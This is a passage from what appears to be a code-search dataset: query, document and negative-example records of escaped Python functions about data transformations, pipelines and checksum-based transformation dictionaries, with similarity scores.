m_score_bar.append(self.scenario_dict[key][\\\"Bar_chart_score\\\"])\\n m_score_line.append(self.scenario_dict[key][\\\"Line_chart_score\\\"])\\n\\n m_score_pie /= np.max(m_score_pie)\\n m_score_bar /= np.max(m_score_bar)\\n m_score_line /= np.max(m_score_line)\\n m_score_scatter /= np.max(m_score_scatter)\\n m_score = [m_score_pie, m_score_bar, m_score_line, m_score_scatter]\\n match_index = np.argmax(m_score, axis = 0)\\n i = 0\\n for key in self.scenario_dict:\\n if match_index[i] == 0:\\n self.scenario_dict[key][\\\"Chart_Type\\\"] = \\\"pie\\\"\\n if match_index[i] == 1:\\n self.scenario_dict[key][\\\"Chart_Type\\\"] = \\\"bar\\\"\\n if match_index[i] == 2:\\n self.scenario_dict[key][\\\"Chart_Type\\\"] = \\\"line\\\"\\n if match_index[i] == 3:\\n self.scenario_dict[key][\\\"Chart_Type\\\"] = \\\"scatter\\\"\\n self.scenario_dict[key][\\\"m_score\\\"] = m_score[match_index[i]][i]\\n i += 1\\n\\n return self.scenario_dict\",\n \"def _run_file_contents(contents: dict, strict_fn, debug_print):\\n\\n default_fns_args = {\\n \\\"adjust_focus\\\": {\\\"on\\\": \\\"hexbin\\\"},\\n \\\"adjust_positioning\\\": True,\\n \\\"adjust_opacity\\\": True\\n }\\n\\n input_fns = contents.pop(\\\"functions\\\", {})\\n for k, v in default_fns_args.items():\\n if k not in input_fns:\\n input_fns[k] = v\\n\\n output = contents.pop(\\\"output\\\", False)\\n display = contents.pop(\\\"display\\\", True)\\n builder = PlotBuilder.builder_from_dict(**contents)\\n debug_print(\\\"* all layers loaded\\\")\\n\\n for k, v in input_fns.items():\\n if v:\\n args, kwargs = parse_args_kwargs(v)\\n try:\\n _fn_map[k](builder, *args, **kwargs)\\n debug_print(f\\\"* invoked function '{_fn_map[k].__name__}'.\\\\nargs: {args}\\\\nkwargs: {kwargs}\\\")\\n except Exception as e:\\n try:\\n debug_print(f\\\"* error while performing '{_fn_map[k].__name__}'.\\\\nerror: {e}\\\")\\n strict_fn(e)\\n except KeyError as f:\\n debug_print(f\\\"* no such function as '{k}'.\\\")\\n strict_fn(f)\\n\\n builder.finalize(raise_errors=False)\\n\\n if output:\\n args, kwargs = parse_args_kwargs(output)\\n builder.output(*args, **kwargs)\\n debug_print(\\\"* figure output.\\\")\\n\\n if display:\\n args, kwargs = parse_args_kwargs(display)\\n builder.display(*args, **kwargs)\\n debug_print(\\\"* figure displayed.\\\")\\n\\n return builder.get_plot_status()\",\n \"def execute_dag(func_dict, dag, data, targets):\\n # Needed for garbage collection.\\n visited_nodes = set(data)\\n results = data.copy()\\n\\n for task in nx.topological_sort(dag):\\n if task not in results:\\n if task in func_dict:\\n kwargs = _dict_subset(results, dag.predecessors(task))\\n results[task] = func_dict[task](**kwargs)\\n else:\\n raise KeyError(f\\\"Missing variable or function: {task}\\\")\\n\\n visited_nodes.add(task)\\n\\n if targets != \\\"all\\\":\\n results = collect_garbage(results, task, visited_nodes, targets, dag)\\n\\n return results\",\n \"def fit_transform(self, views: Iterable[np.ndarray], **kwargs):\\n return self.fit(views, **kwargs).transform(views, **kwargs)\",\n \"def crack(ctx, level, output, name, keep, save, zip_file, password,\\n no_save, verbose, filename):\\n if not path.exists(locke.transforms.utils.DBFILE):\\n print('Run generate to create a new transforms.db')\\n return 1\\n if path.exists(output) and path.isfile(output):\\n return 1\\n makedirs(output, exist_ok=True)\\n load_all_transformers()\\n if not zip_file and password is not None:\\n raise ValueError(\\\"Password field is set without zip enable\\\")\\n\\n trans_list = select_transformers(TRANSFORMERS, name, level=level)\\n results = run_transformations(trans_list, filename, keep,\\n zip_file, password, verbose)[:save]\\n\\n # TODO\\n # Call on save to disk here? or Make run_transformation call write to disk?\\n if not no_save:\\n write_to_disk(results, output, filename)\",\n \"def transform(self, data):\\n if data:\\n assert isinstance(data, dict), 'Step {}, \\\"data\\\" argument in the \\\"transform()\\\" method must be dict, ' \\\\\\n 'got {} instead.'.format(self.name, type(data))\\n logger.info('Step {}, working in \\\"{}\\\" mode'.format(self.name, self._mode))\\n\\n if self.output_is_cached:\\n logger.info('Step {} using cached output'.format(self.name))\\n step_output_data = self.output\\n elif self.output_is_persisted and self.load_persisted_output:\\n logger.info('Step {} loading persisted output from {}'.format(self.name,\\n self.experiment_directory_output_step))\\n step_output_data = self._load_output(self.experiment_directory_output_step)\\n else:\\n step_inputs = {}\\n if self.input_data is not None:\\n for input_data_part in self.input_data:\\n step_inputs[input_data_part] = data[input_data_part]\\n\\n for input_step in self.input_steps:\\n input_step._mode = self._mode\\n step_inputs[input_step.name] = input_step.transform(data)\\n\\n if self.adapter:\\n step_inputs = self._adapt(step_inputs)\\n else:\\n step_inputs = self._unpack(step_inputs)\\n step_output_data = self._transform_operation(step_inputs)\\n logger.info('Step {}, transform completed'.format(self.name))\\n return step_output_data\",\n \"async def transform(self, file):\\n\\t\\tpass\",\n \"def _transform_data(self, *args, **kwargs) -> None:\\n raise NotImplementedError\",\n \"def transform(self, *args, **kwargs):\\n raise NotImplementedError\",\n \"def apply_ren_sym(self, ren_dict):\\n raise Exception(\\\"Abstract method\\\")\",\n \"def post_processing(sample_dict: NDict, task1: bool = True, task2: bool = True) -> dict:\\n # verify sample\\n expected_keys = [f\\\"target.{key}\\\" for key in EXPECTED_TARGET_KEYS]\\n if task1:\\n expected_keys += [f\\\"task1_pred.{key}\\\" for key in EXPECTED_TASK1_PRED_KEYS]\\n if task2:\\n expected_keys += [f\\\"task2_pred.{key}\\\" for key in EXPECTED_TASK2_PRED_KEYS]\\n set(expected_keys).issubset(set(sample_dict.keypaths()))\\n\\n # convert scores to numpy array\\n # task 1\\n if task1:\\n task1_pred = []\\n for cls_name in TASK1_CLASS_NAMES:\\n task1_pred.append(sample_dict[f\\\"task1_pred.{cls_name}-score\\\"])\\n task1_pred_array = np.array(task1_pred)\\n if not np.isclose(task1_pred_array.sum(), 1.0, rtol=0.05):\\n print(\\n f\\\"Warning: expecting task 1 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task1_pred_array}\\\"\\n )\\n sample_dict[\\\"task1_pred.array\\\"] = task1_pred_array\\n\\n # task 2\\n if task2:\\n task2_pred = []\\n for cls_name in TASK2_CLASS_NAMES:\\n task2_pred.append(sample_dict[f\\\"task2_pred.{cls_name}-score\\\"])\\n task2_pred_array = np.array(task2_pred)\\n if not np.isclose(task2_pred_array.sum(), 1.0, rtol=0.05):\\n print(\\n f\\\"Error: expecting task 2 prediction for case {sample_dict['descriptor']} to sum up to almost 1.0, got {task2_pred_array}\\\"\\n )\\n sample_dict[\\\"task2_pred.array\\\"] = task2_pred_array\\n\\n return sample_dict\",\n \"def _apply_transform(self, w2w_transform):\\n raise NotImplementedError\",\n \"def _run_json(key, process, cmd):\\n logging.info('Running %s', ' '.join(cmd))\\n raw = subprocess.check_output(cmd)\\n logging.info('- returned %d bytes', len(raw))\\n return key, process(json.loads(raw))\",\n \"def test_tranform_chain() -> None:\\n transform_chain = TransformChain(\\n input_variables=[\\\"first_name\\\", \\\"last_name\\\"],\\n output_variables=[\\\"greeting\\\"],\\n transform=dummy_transform,\\n )\\n input_dict = {\\\"first_name\\\": \\\"Leroy\\\", \\\"last_name\\\": \\\"Jenkins\\\"}\\n response = transform_chain(input_dict)\\n expected_response = {\\\"greeting\\\": \\\"Leroy Jenkins says hello\\\"}\\n assert response == expected_response\",\n \"def do_process_pass(self, stage, node, mapping_dict):\\n for item in node.keys():\\n if item in mapping_dict:\\n value = self.process_property(stage, item, node[item], node)\\n node[item] = value\\n for child in node.get_children():\\n self.do_process_pass(stage, child, mapping_dict)\",\n \"def transform(self, params, model, transformation, target_shape):\\n self._transform_parameters(model, params, transformation, target_shape)\",\n \"def _map_arguments(self, args):\\n comp_file = args.get('comp', None)\\n datafile = args.get('data', None)\\n do_ltsum = args.get('do_ltsum', False)\\n\\n NAME_FACTORY.update_base_dict(datafile)\\n outdir_base = os.path.join(NAME_FACTORY.base_dict['basedir'], 'counts_cubes')\\n num_files = args.get('nfiles', 96)\\n\\n self.comp_dict = yaml.safe_load(open(comp_file))\\n coordsys = self.comp_dict.pop('coordsys')\\n\\n for key_e, comp_e in sorted(self.comp_dict.items()):\\n\\n if 'mktimefilters' in comp_e:\\n mktimelist = comp_e['mktimefilters']\\n else:\\n mktimelist = ['none']\\n\\n if 'evtclasses' in comp_e:\\n evtclasslist_vals = comp_e['evtclasses']\\n else:\\n evtclasslist_vals = [NAME_FACTORY.base_dict['evclass']]\\n\\n for mktimekey in mktimelist:\\n zcut = \\\"zmax%i\\\" % comp_e['zmax']\\n kwargs_mktime = dict(zcut=zcut,\\n ebin=key_e,\\n psftype='ALL',\\n coordsys=coordsys,\\n mktime=mktimekey)\\n\\n if do_ltsum:\\n ltsum_listfile = 'ltsumlist_%s_%s' % (key_e, mktimekey)\\n ltsum_outfile = 'ltsum_%s_%s' % (key_e, mktimekey)\\n linkname = 'ltsum_%s_%s' % (key_e, mktimekey)\\n self._set_link(likname, Gtlink_ltsum,\\n infile1=ltsum_listfile,\\n infile2=None,\\n outfile=ltsum_outfile,\\n logfile=os.path.join(outdir_base, \\\"%s.log\\\" % linkname))\\n\\n for evtclassval in evtclasslist_vals:\\n for psf_type in sorted(comp_e['psf_types'].keys()):\\n fullkey = \\\"%s_%s_%s_%s\\\"%(key_e, mktimekey, evtclassval, psf_type)\\n linkname = 'coadd_%s' % (fullkey)\\n kwargs_bin = kwargs_mktime.copy()\\n kwargs_bin['psftype'] = psf_type\\n kwargs_bin['evclass'] = evtclassval\\n ccube_name =\\\\\\n os.path.basename(NAME_FACTORY.ccube(**kwargs_bin))\\n outputfile = os.path.join(outdir_base, ccube_name)\\n args = _make_input_file_list(outputfile, num_files)\\n \\n self._set_link(linkname,\\n Link_FermipyCoadd,\\n args=args,\\n output=outputfile,\\n logfile=os.path.join(outdir_base, \\\"%s.log\\\" % linkname))\",\n \"def _processArgsToLogic_extract_CDS(args, stdout, stderr,\\n gb_record_fmtdict,\\n gb_cds_fmtdict) :\\n # Initialize action flags\\n args.actionFlags = dict()\\n # Check for --count\\n if args.count :\\n if (args.unique is not None) :\\n stderr.write(\\\"--count and --unique cannot be used simultanesouly.\\\\n\\\"\\n \\\"Use --help for details on usage.\\\\n\\\")\\n sys.exit()\\n else :\\n args.actionFlags[\\\"DoCount\\\"] = True\\n return args\\n # Produce unique sequences\\n if args.unique is not None :\\n args.actionFlags[\\\"DoUniqueSequences\\\"] = True\\n # Process outfmt\\n args.outfmt = _processOutfmtArg(args.outfmt, stderr, gb_record_fmtdict,\\n gb_cds_fmtdict)\\n # Process hash\\n hashFunctions = { \\\"md5\\\" : hashlib.md5,\\n \\\"sha1\\\" : hashlib.sha1,\\n \\\"sha224\\\" : hashlib.sha224,\\n \\\"sha256\\\" : hashlib.sha256,\\n \\\"sha384\\\" : hashlib.sha384,\\n \\\"sha512\\\" : hashlib.sha512}\\n args.hash = hashFunctions[args.hash]\\n # Return\\n return args\",\n \"def applyMapping(self):\\n pass\",\n \"def perform(self, command, **kwargs):\\n self.LogCommand()\\n\\n tclcode = \\\"stc::perform \\\" + command\\n\\n for key in kwargs:\\n #tclcode = tclcode + \\\" \\\" + \\\"-\\\" + key + ' \\\"' + str(kwargs[key]) + '\\\"'\\n tclcode = tclcode + \\\" \\\" + \\\"-\\\" + key + r\\\" {\\\" + str(kwargs[key]) + r\\\"}\\\"\\n\\n result = self.Exec(tclcode)\\n result_dict = self.List2Dict(result)\\n logging.debug(\\\" - Python result - \\\" + str(result_dict))\\n return result_dict\",\n \"def apply_ren(self, ren_dict):\\n raise Exception(\\\"Abstract method\\\")\",\n \"def applyRunInfo(self, runInfo):\\n self.runInfoDict = runInfo\",\n \"def test_transform():\\n args = get_layer('transform', 'manual', 'temporal', False, False, window=2, step_size=3)\\n run_layer(*args)\",\n \"def pre_transform_hash(self):\\n if self.custom_hash is not None:\\n return self.custom_hash\\n if self.pre_transform is None:\\n return 'no_pre_transform'\\n return hashlib.md5(_repr(self.pre_transform).encode()).hexdigest()\",\n \"def run(self, data, config=None, pipeline=None):\\n data[self.dst] = self.copy_fn(data[self.src])\\n return data\",\n \"def _process(self):\\n # choose the correct transform model before processing TI data\\n self._select_transform()\\n\\n # process type first, fail early\\n self._process_type()\\n\\n # process type specific data\\n if isinstance(self.transform, GroupTransformModel):\\n self._process_group()\\n elif isinstance(self.transform, IndicatorTransformModel):\\n self._process_indicator()\\n\\n # self.process_associations(self.transform.associations)\\n self._process_associated_group(self.transform.associated_groups)\\n self._process_attributes(self.transform.attributes or [])\\n self._process_security_labels(self.transform.security_labels or [])\\n self._process_tags(self.transform.tags or [])\\n\\n # date added\\n self._process_metadata_datetime('dateAdded', self.transform.date_added)\\n\\n # last modified\\n self._process_metadata_datetime('lastModified', self.transform.last_modified)\\n\\n # xid\\n self._process_metadata('xid', self.transform.xid)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6176635","0.58770233","0.5642491","0.5400571","0.53724617","0.53604096","0.53584576","0.5241145","0.5201133","0.5098775","0.5077724","0.50566465","0.5045827","0.5000128","0.49946854","0.49663246","0.49579343","0.4930994","0.48909107","0.48407468","0.48358938","0.4819561","0.48111072","0.47916046","0.47879595","0.47827828","0.47819936","0.4779404","0.47673506","0.4750646","0.4743349","0.47376862","0.47260374","0.4725801","0.47175413","0.47174332","0.4713491","0.46962145","0.4661174","0.46575576","0.46543565","0.4649362","0.4646455","0.46253026","0.46176913","0.45940372","0.4591192","0.45909962","0.4587054","0.4586105","0.4572531","0.45724744","0.45651293","0.45631164","0.45392683","0.45361647","0.45318252","0.453031","0.45221406","0.45154482","0.4514669","0.45131606","0.4504016","0.45004615","0.44970492","0.44899035","0.4487774","0.4483153","0.44766968","0.44745138","0.44696632","0.44679815","0.4463824","0.44568646","0.44550177","0.44507378","0.44488633","0.4446813","0.44460884","0.44407374","0.4436831","0.44300237","0.44288653","0.44262478","0.4422265","0.44181466","0.44152984","0.44150954","0.44143426","0.44130546","0.44111982","0.44095832","0.44042888","0.4396819","0.43945688","0.43935612","0.43927515","0.4392702","0.43864685","0.43781576"],"string":"[\n \"0.6176635\",\n \"0.58770233\",\n \"0.5642491\",\n \"0.5400571\",\n \"0.53724617\",\n \"0.53604096\",\n \"0.53584576\",\n \"0.5241145\",\n \"0.5201133\",\n \"0.5098775\",\n \"0.5077724\",\n \"0.50566465\",\n \"0.5045827\",\n \"0.5000128\",\n \"0.49946854\",\n \"0.49663246\",\n \"0.49579343\",\n \"0.4930994\",\n \"0.48909107\",\n \"0.48407468\",\n \"0.48358938\",\n \"0.4819561\",\n \"0.48111072\",\n \"0.47916046\",\n \"0.47879595\",\n \"0.47827828\",\n \"0.47819936\",\n \"0.4779404\",\n \"0.47673506\",\n \"0.4750646\",\n \"0.4743349\",\n \"0.47376862\",\n \"0.47260374\",\n \"0.4725801\",\n \"0.47175413\",\n \"0.47174332\",\n \"0.4713491\",\n \"0.46962145\",\n \"0.4661174\",\n \"0.46575576\",\n \"0.46543565\",\n \"0.4649362\",\n \"0.4646455\",\n \"0.46253026\",\n \"0.46176913\",\n \"0.45940372\",\n \"0.4591192\",\n \"0.45909962\",\n \"0.4587054\",\n \"0.4586105\",\n \"0.4572531\",\n \"0.45724744\",\n \"0.45651293\",\n \"0.45631164\",\n \"0.45392683\",\n \"0.45361647\",\n \"0.45318252\",\n \"0.453031\",\n \"0.45221406\",\n \"0.45154482\",\n \"0.4514669\",\n \"0.45131606\",\n \"0.4504016\",\n \"0.45004615\",\n \"0.44970492\",\n \"0.44899035\",\n \"0.4487774\",\n \"0.4483153\",\n \"0.44766968\",\n \"0.44745138\",\n \"0.44696632\",\n \"0.44679815\",\n \"0.4463824\",\n \"0.44568646\",\n \"0.44550177\",\n \"0.44507378\",\n \"0.44488633\",\n \"0.4446813\",\n \"0.44460884\",\n \"0.44407374\",\n \"0.4436831\",\n \"0.44300237\",\n \"0.44288653\",\n \"0.44262478\",\n \"0.4422265\",\n \"0.44181466\",\n \"0.44152984\",\n \"0.44150954\",\n \"0.44143426\",\n \"0.44130546\",\n \"0.44111982\",\n \"0.44095832\",\n \"0.44042888\",\n \"0.4396819\",\n \"0.43945688\",\n \"0.43935612\",\n \"0.43927515\",\n \"0.4392702\",\n \"0.43864685\",\n \"0.43781576\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.65600985"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":80099,"cells":{"query":{"kind":"string","value":"Runs a transformation that is specified as a dict of checksums, such as returned by highlevel.Transformer.get_transformation_dict"},"document":{"kind":"string","value":"async def run_transformation_dict_async(transformation_dict):\n # TODO: add type annotation and all kinds of validation...\n transformation_buffer = tf_get_buffer(transformation_dict)\n transformation = calculate_checksum(transformation_buffer)\n cache_buffer(transformation, transformation_buffer)\n increfed = _register_transformation_dict(\n transformation, transformation_buffer, transformation_dict\n )\n try:\n result_checksum = await run_transformation_async(transformation)\n celltype = transformation_dict[\"__output__\"][1]\n result_buffer = get_buffer(result_checksum) # does this raise CacheMissError?\n return await deserialize_async(\n result_buffer, result_checksum, celltype, copy=True\n )\n finally:\n # For some reason, the logic here is different than for the sync version (see _wait())\n if (\n increfed\n and increfed\n in transformation_cache.transformations_to_transformers.get(\n transformation, []\n )\n ):\n transformation_cache.decref_transformation(transformation_dict, increfed)\n temprefmanager.purge_group(\"imperative\")"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def run_transformation_dict(transformation_dict, result_callback=None):\n # TODO: add type annotation and all kinds of validation...\n from .. import database_sink\n\n transformation_buffer = tf_get_buffer(transformation_dict)\n transformation = calculate_checksum(transformation_buffer)\n cache_buffer(transformation, transformation_buffer)\n increfed = _register_transformation_dict(\n transformation, transformation_buffer, transformation_dict\n )\n if multiprocessing.current_process().name != \"MainProcess\":\n assert database_sink.active\n result_checksum, prelim = transformation_cache._get_transformation_result(\n transformation\n )\n if result_checksum is not None and not prelim:\n metalike, syntactic_cache = None, []\n else:\n assert _parent_process_queue is not None\n metalike = {}\n for k in (\"__compilers__\", \"__languages__\", \"__meta__\"):\n if k in transformation_dict:\n metalike[k] = transformation_dict[k]\n meta = metalike.get(\"__meta__\")\n if meta is None:\n meta = {}\n metalike[\"__meta__\"] = meta\n if meta.get(\"local\") is None:\n # local (fat) by default\n meta[\"local\"] = True\n syntactic_cache = []\n for k in transformation_dict:\n if k.startswith(\"__\"):\n continue\n celltype, subcelltype, sem_checksum = transformation_dict[k]\n if syntactic_is_semantic(celltype, subcelltype):\n continue\n semkey = (bytes.fromhex(sem_checksum), celltype, subcelltype)\n syn_checksum = transformation_cache.semantic_to_syntactic_checksums[\n semkey\n ][0]\n syn_buffer = get_buffer(syn_checksum)\n assert syn_buffer is not None\n syntactic_cache.append((celltype, subcelltype, syn_buffer))\n else:\n metalike, syntactic_cache = None, []\n\n output_celltype = transformation_dict[\"__output__\"][1]\n _queued_transformations.append(\n (\n result_callback,\n transformation.hex(),\n transformation_dict,\n metalike,\n syntactic_cache,\n increfed,\n output_celltype,\n )\n )\n if result_callback is None:\n return _wait()[0]\n else:\n return","def apply(s, transformation_s, target=None):\n if target is None: target = {}\n\n if not isinstance(transformation_s, dict):\n for transformation in transformation_s:\n target = s.apply(transformation, target)\n return target\n\n transformation = transformation_s\n for key, value in transformation.items():\n s._merge_key_into_dict(key, value, target)\n return target","def contract(s, transformations, asYAML=False):\n target = {}\n\n # if a string or bytes => assume it is YAML or JSON\n if isinstance(transformations, str):\n transformations = s.load(transformations)\n elif isinstance(transformations, bytes):\n transformations = s.load(transformations.decode())\n\n for transformation in transformations:\n s.apply(transformation, target)\n\n if asYAML: return s.toYAML(target)\n else: return target","def transform():\n pass","def run(self, ct_data, state):\n transformed_input = copy.deepcopy(ct_data)\n output = self.model.run(ct_data, state)\n result = {\"output\": output, \"transformed input\": transformed_input}\n return result","def transform():","def apply_transform(key, data, transform_list):\n for transform in transform_list:\n method_name = transform[MethodKeys.METHOD]\n method_params = transform[MethodKeys.PARAMETERS]\n\n if method_name == 'compute_and_apply_vocabulary':\n method_params.update({'vocab_filename': key})\n\n data = TransformMethods.get_method(method_name)(data,\n **method_params)\n return data","def _apply_transform(self):\n pass","def get_transform_fn():","def get_transform_dict(args):\n img_size = IMG_SIZE[args.dataset]\n padding = int(\n 0.125 * img_size\n ) # default value is to choose padding size as 12.5% of image size\n return {\n \"train\": MixMatchTransform.default(\n args.dataset, k=1, img_size=img_size, padding=padding\n ),\n \"train_unlabeled\": MixMatchTransform.default(\n args.dataset, k=args.num_augmentations, img_size=img_size, padding=padding\n ),\n \"test\": get_normalizer(args.dataset),\n }","def perform_generation_transforms(mappings, df, output_file, dicts):\n out = open(output_file, 'w')\n for index in df.index:\n mappings_copy = copy.deepcopy(mappings)\n sub_maps = list(item_generator(mappings_copy, 'transforms'))\n for sub_map in filter(lambda x: isinstance(x, dict), sub_maps):\n sub_map_copy = copy.deepcopy(sub_map)\n for key in dict(filter(lambda x: 'transforms' in x[1],\n sub_map_copy.items())):\n for transform in filter(lambda x: 'type' in x and x['type'] in\n available_transforms,\n sub_map_copy[key]['transforms']):\n available_transforms[transform['type']](\n sub_map, key, transform, df, index, dicts)\n if key in sub_map and 'transforms' in sub_map[key]:\n del sub_map[key]['transforms']\n for sub_map in filter(lambda x: isinstance(x, list), sub_maps):\n sub_map_copy = copy.deepcopy(sub_map)\n list_index = 0\n for list_item in filter(lambda x: isinstance(x, dict) and\n 'transforms' in x, sub_map_copy):\n mapping_size = len(sub_map)\n for transform in filter(lambda x: 'type' in x and\n x['type'] in available_transforms,\n list_item['transforms']):\n if not list_index >= len(sub_map):\n available_transforms[transform['type']](\n sub_map, list_index, transform, df, index, dicts)\n if (not list_index >= len(sub_map) and\n 'transforms' in sub_map[list_index]):\n del sub_map[list_index]['transforms']\n if mapping_size == len(sub_map):\n list_index += 1\n fill_json_values('sourceCol', mappings_copy, df, index)\n out.write(json.dumps(mappings_copy) + '\\n')\n out.close()\n return df","def _apply_transforms(self, inputs: Dict) -> Dict:\n results = inputs.copy()\n inputs = {k: v for k, v in inputs.items() if v is not IgnoreKey}\n outputs = self.transforms(inputs)\n\n if outputs is None:\n raise ValueError(\n f'Transforms wrapped by {self.__class__.__name__} should '\n 'not return None.')\n\n results.update(outputs) # type: ignore\n return results","def compute_transformed(context, key_composite):\n\n kdf_parameters = context.header.value.dynamic_header.kdf_parameters.data.dict\n\n if kdf_parameters['$UUID'].value == kdf_uuids['argon2']:\n transformed_key = argon2.low_level.hash_secret_raw(\n secret=key_composite,\n salt=kdf_parameters['S'].value,\n hash_len=32,\n type=argon2.low_level.Type.D,\n time_cost=kdf_parameters['I'].value,\n memory_cost=kdf_parameters['M'].value // 1024,\n parallelism=kdf_parameters['P'].value,\n version=kdf_parameters['V'].value\n )\n elif kdf_parameters['$UUID'].value == kdf_uuids['aes']:\n # set up a context for AES128-ECB encryption to find transformed_key\n cipher = AES.new(kdf_parameters['S'].value, AES.MODE_ECB)\n\n # get the number of rounds from the header and transform the key_composite\n rounds = kdf_parameters['R'].value\n transformed_key = key_composite\n for _ in range(0, rounds):\n transformed_key = cipher.encrypt(transformed_key)\n\n transformed_key = hashlib.sha256(transformed_key).digest()\n else:\n raise Exception('Unsupported key derivation method')\n\n return transformed_key","def transform(self, results: Dict) -> Dict:\n\n # Apply mapping\n inputs = self._map_input(results, self.mapping)\n # Apply wrapped transforms\n outputs = self._apply_transforms(inputs)\n # Apply remapping\n outputs = self._map_output(outputs, self.remapping)\n\n results.update(outputs) # type: ignore\n return results","def transform(self, unit, transformation):\n command = 'transform {} {}'.format(unit, transformation)\n command = command.replace(r'[', '{{').replace(r']', '}}')\n command = command.replace('\\n', '').replace(' ', ' ')\n self.add_commands(command)","def run(output_dir, data_dict, transform_func):\n logger.info('BEGIN TransformStage')\n\n # Reorganize data - Dict (key=filename, value=df)\n dfs = {os.path.split(k)[1].split('.')[0]: df\n for k, (_, df) in data_dict.items()\n }\n\n # Make dataframes\n df_out = transform_func(dfs)\n\n write_output(output_dir, df_out)\n\n logger.info('END TransformStage')\n\n return df_out","def apply(input, output, fields, delimiter, encoding, verbose, format_in, zipfile, script, filter):\n if verbose:\n enableVerbose()\n options = {}\n options['delimiter'] = delimiter\n options['fields'] = fields\n options['output'] = output\n options['encoding'] = encoding\n options['format_in'] = format_in\n options['zipfile'] = zipfile\n options['filter'] = filter\n options['script'] = script\n acmd = Transformer()\n acmd.script(input, options)\n pass","def transform(self, source: dict) -> dict:\n pass","def run_transform(i_fn, o_fn):\n if not (all(is_bed(fn) for fn in [i_fn, o_fn]) or all(is_vcf(fn) for fn in [i_fn, o_fn])):\n raise ValueError(\"Input and output must be both BED or VCF\")\n with get_reader(i_fn) as reader:\n with get_writer(o_fn, reader.samples) as writer:\n for r in reader:\n writer.writeRecord(transform_coordinate_of_sv(r))","def test_transform_output(argument_pair):\n ...","def transform(config, data, transfo, *args, **kwargs):\n \n# stderr.write(str((config, data, transfo) + args) + \"\\n\")\n pipe = ktpipes.KtPipe.from_json(config[transfo])\n\n return pipe.fit_transform(get_raw(data))","def execution_transfer_script(self, resources):\n\n # fixme -- json is an inefficient pickle.\n # - slow\n # - nodes will need to be dealiased again.\n #\n manifest_s = repr(json.dumps(self.data.manifest()))\n canonical_s = repr(json.dumps(self.data.canonical()))\n resources_s = repr(resources)\n\n # this doesn't get carried on the other side\n default_region = _get_default_region()\n\n hooks = \"\\n\".join(runtime.add_user_hook._hooks)\n\n return \"\"\"#!/usr/bin/env python3\nimport bunnies.runtime\nimport bunnies.constants as C\nfrom bunnies.unmarshall import unmarshall\nimport os, os.path\nimport json\nimport logging\nlog = logging.getLogger()\n\n# USER HOOKS START\n%(hooks)s\n# USER HOOKS END\n\nuid_s = %(uid_s)s\n\ncanonical_s = %(canonical_s)s\n\nmanifest_s = %(manifest_s)s\n\nmanifest_obj = json.loads(manifest_s)\n\ncanonical_obj = json.loads(canonical_s)\n\nbunnies.setup_logging()\n\n# this is for align binaries\nos.environ['AWS_REGION'] = %(default_region)s\n# this is for the boto client\nos.environ['AWS_DEFAULT_REGION'] = %(default_region)s\n\ntransform = unmarshall(manifest_obj)\nlog.info(\"%%s\", json.dumps(manifest_obj, indent=4))\n\nparams = {\n 'workdir': os.environ.get('BUNNIES_WORKDIR'),\n 'scriptdir': os.path.dirname(__file__),\n 'job_id': os.environ.get('BUNNIES_JOBID'),\n 'resources': %(resources_s)s\n }\n\nbunnies.runtime.setenv_batch_metadata()\nenv_copy = dict(os.environ)\n\n# core of the work\noutput = transform.run(**params)\n\n# write results\nresult_path = os.path.join(transform.output_prefix(), C.TRANSFORM_RESULT_FILE)\nbunnies.runtime.update_result(result_path,\n output=output,\n manifest=manifest_obj,\n canonical=canonical_obj,\n environment=env_copy)\n\"\"\" % {\n 'manifest_s': manifest_s,\n 'canonical_s': canonical_s,\n 'default_region': repr(default_region),\n 'uid_s': repr(self.uid),\n 'hooks': hooks,\n 'resources_s': resources_s\n}","def _compute_transforms(self):\n res_scale_ref = self.params.res_scale_ref.value.strip().lower()\n assert res_scale_ref in ['zero'] # TODO: , 'mean', 'median']\n\n reco_param_source = self.params.reco_paramfile.value\n\n if reco_param_source is None:\n raise ValueError(\n 'non-None reco parameterization params.reco_paramfile'\n ' must be provided'\n )\n\n reco_param_hash = hash_obj(reco_param_source)\n\n if (self._reco_param_hash is None\n or reco_param_hash != self._reco_param_hash):\n reco_param = load_reco_param(reco_param_source)\n\n # Transform groups are implicitly defined by the contents of the\n # reco paramfile's keys\n implicit_transform_groups = reco_param.keys()\n\n # Make sure these match transform groups specified for the stage\n if set(implicit_transform_groups) != set(self.transform_groups):\n raise ValueError(\n 'Transform groups (%s) defined implicitly by'\n ' %s reco parameterizations do not match those'\n ' defined as the stage\\'s `transform_groups` (%s).'\n % (implicit_transform_groups, reco_param_source,\n self.transform_groups)\n )\n\n self.param_dict = reco_param\n self._reco_param_hash = reco_param_hash\n\n self.eval_dict = self.evaluate_reco_param()\n self.reco_scales_and_biases_applicable()\n\n # everything seems to be fine, so rescale and shift distributions\n eval_dict = self.scale_and_shift_reco_dists()\n\n # Computational units must be the following for compatibility with\n # events file\n comp_units = dict(\n true_energy='GeV', true_coszen=None, true_azimuth='rad',\n reco_energy='GeV', reco_coszen=None, reco_azimuth='rad', pid=None\n )\n\n # Select only the units in the input/output binning for conversion\n # (can't pass more than what's actually there)\n in_units = {dim: unit for dim, unit in comp_units.items()\n if dim in self.input_binning}\n out_units = {dim: unit for dim, unit in comp_units.items()\n if dim in self.output_binning}\n\n # These binnings will be in the computational units defined above\n input_binning = self.input_binning.to(**in_units)\n output_binning = self.output_binning.to(**out_units)\n en_centers_in = self.input_binning['true_energy'].weighted_centers.magnitude\n en_edges_in = self.input_binning['true_energy'].bin_edges.magnitude\n cz_centers_in = self.input_binning['true_coszen'].weighted_centers.magnitude\n cz_edges_in = self.input_binning['true_coszen'].bin_edges.magnitude\n en_edges_out = self.output_binning['reco_energy'].bin_edges.magnitude\n cz_edges_out = self.output_binning['reco_coszen'].bin_edges.magnitude\n\n n_e_in = len(en_centers_in)\n n_cz_in = len(cz_centers_in)\n n_e_out = len(en_edges_out)-1\n n_cz_out = len(cz_edges_out)-1\n\n if self.coszen_flipback:\n cz_edges_out, flipback_mask, keep = \\\n self.extend_binning_for_coszen(ext_low=-3., ext_high=+3.)\n\n xforms = []\n for xform_flavints in self.transform_groups:\n logging.debug(\"Working on %s reco kernel...\" %xform_flavints)\n\n this_params = 